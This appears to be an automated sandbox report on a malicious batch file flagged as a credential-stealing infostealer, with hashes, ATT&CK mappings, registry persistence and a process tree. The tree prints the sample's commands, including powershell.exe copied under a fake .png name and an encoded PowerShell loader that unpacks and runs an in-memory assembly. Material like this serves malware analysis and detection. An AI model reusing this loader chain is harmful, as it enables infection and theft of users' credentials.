b526ee0de0fac93563730dfd03d7c647f658db2ef54b327a2c8f85e7fab04755

Analysis

max time kernel
152s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 13:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat
Size

1013KB
MD5

356726c6ef766005db80ef2f8c0ace6f
SHA1

78aefea292bf9397cc4d4987af6f700da8bfafd2
SHA256

ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660
SHA512

75182a0f3c20c4541be7de7df84f1683064c2ed6b8f134e9d3bc8f717ba9d96632fccdd76c243c70ab9ab42c9e327d6a3b12eb712f902117007270d0b1b23548
SSDEEP

24576:Vf4Q9sdKUubPFgGuaD13/2pLe/jWw0tyKTo6W:BTbPbEaMEKPW

Score

7^/10

persistence spyware stealer

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1136	Pkvdtkqtj.png

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TlKsFB = "C:\\Users\\Admin\\AppData\\Roaming\\TlKsFB\\TlKsFB.exe"	Pkvdtkqtj.png

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	api.ipify.org
39	api.ipify.org

Program crash 1 IoCs

pid	pid_target	Process	procid_target
64	1136	WerFault.exe	94

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1136	Pkvdtkqtj.png
1136	Pkvdtkqtj.png
1136	Pkvdtkqtj.png
1136	Pkvdtkqtj.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1136	Pkvdtkqtj.png
Token: SeDebugPrivilege	1136	Pkvdtkqtj.png

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 224	2784	cmd.exe	86
PID 2784 wrote to memory of 224	2784	cmd.exe	86
PID 2784 wrote to memory of 4892	2784	cmd.exe	87
PID 2784 wrote to memory of 4892	2784	cmd.exe	87
PID 2784 wrote to memory of 4244	2784	cmd.exe	88
PID 2784 wrote to memory of 4244	2784	cmd.exe	88
PID 4244 wrote to memory of 1976	4244	cmd.exe	90
PID 4244 wrote to memory of 1976	4244	cmd.exe	90
PID 4244 wrote to memory of 1268	4244	cmd.exe	91
PID 4244 wrote to memory of 1268	4244	cmd.exe	91
PID 4244 wrote to memory of 2796	4244	cmd.exe	92
PID 4244 wrote to memory of 2796	4244	cmd.exe	92
PID 4244 wrote to memory of 432	4244	cmd.exe	93
PID 4244 wrote to memory of 432	4244	cmd.exe	93
PID 4244 wrote to memory of 1136	4244	cmd.exe	94
PID 4244 wrote to memory of 1136	4244	cmd.exe	94
PID 4244 wrote to memory of 1136	4244	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:224
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
  2⤵
  PID:4892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1976
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
    3⤵
    PID:1268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2796
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png.bat
    3⤵
    PID:432
- - C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
    C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png -win 1 -enc JABNAGgAcQBhAHMAagAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABHAHcAbQBmAHQAcwBvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBoAHEAYQBzAGoAKQA7ACQASgBvAHAAcgB5AHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAdwBtAGYAdABzAG8AcgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABGAGgAaQBwAG8AcAB1ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEoAbwBwAHIAeQByACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABGAGgAaQBwAG8AcAB1AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABGAGgAaQBwAG8AcAB1AC4AQwBsAG8AcwBlACgAKQA7ACQASgBvAHAAcgB5AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAHcAbQBmAHQAcwBvAHIAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQARwB3AG0AZgB0AHMAbwByACkAOwAgACQAUABxAGQAawBpAHYAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABHAHcAbQBmAHQAcwBvAHIAKQA7ACAAJABEAGMAdABjAG0AIAA9ACAAJABQAHEAZABrAGkAdgBzAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQATQB5AGIAbgBwAHQAIAA9ACAAJABEAGMAdABjAG0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1136
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 3168
      4⤵
      Program crash
      PID:64

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1136 -ip 1136
1⤵
PID:3208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png.bat

Filesize
1013KB

MD5
356726c6ef766005db80ef2f8c0ace6f

SHA1
78aefea292bf9397cc4d4987af6f700da8bfafd2

SHA256
ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660

SHA512
75182a0f3c20c4541be7de7df84f1683064c2ed6b8f134e9d3bc8f717ba9d96632fccdd76c243c70ab9ab42c9e327d6a3b12eb712f902117007270d0b1b23548

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zbznu2cs.u1n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1136-31-0x0000000006C20000-0x0000000006C3A000-memory.dmp

Filesize
104KB

Download
memory/1136-14-0x00000000057D0000-0x0000000005836000-memory.dmp

Filesize
408KB

Download
memory/1136-32-0x00000000078D0000-0x000000000799A000-memory.dmp

Filesize
808KB

Download
memory/1136-13-0x0000000005720000-0x0000000005742000-memory.dmp

Filesize
136KB

Download
memory/1136-33-0x00000000079A0000-0x0000000007A1A000-memory.dmp

Filesize
488KB

Download
memory/1136-15-0x0000000005EC0000-0x0000000005F26000-memory.dmp

Filesize
408KB

Download
memory/1136-10-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-25-0x00000000060B0000-0x0000000006404000-memory.dmp

Filesize
3.3MB

Download
memory/1136-26-0x00000000066F0000-0x000000000670E000-memory.dmp

Filesize
120KB

Download
memory/1136-27-0x00000000067A0000-0x00000000067EC000-memory.dmp

Filesize
304KB

Download
memory/1136-8-0x0000000003140000-0x0000000003176000-memory.dmp

Filesize
216KB

Download
memory/1136-34-0x0000000007B20000-0x0000000007B86000-memory.dmp

Filesize
408KB

Download
memory/1136-30-0x0000000007F50000-0x00000000085CA000-memory.dmp

Filesize
6.5MB

Download
memory/1136-9-0x0000000074E30000-0x00000000755E0000-memory.dmp

Filesize
7.7MB

Download
memory/1136-12-0x0000000005890000-0x0000000005EB8000-memory.dmp

Filesize
6.2MB

Download
memory/1136-11-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-29-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-36-0x0000000074E30000-0x00000000755E0000-memory.dmp

Filesize
7.7MB

Download
memory/1136-37-0x0000000006970000-0x00000000069B5000-memory.dmp

Filesize
276KB

Download
memory/1136-38-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-39-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-40-0x0000000007CA0000-0x0000000007CE2000-memory.dmp

Filesize
264KB

Download
memory/1136-41-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-42-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-43-0x0000000008B80000-0x0000000009124000-memory.dmp

Filesize
5.6MB

Download
memory/1136-44-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-46-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-47-0x00000000030F0000-0x0000000003100000-memory.dmp

Filesize
64KB

Download
memory/1136-48-0x0000000074E30000-0x00000000755E0000-memory.dmp

Filesize
7.7MB

Download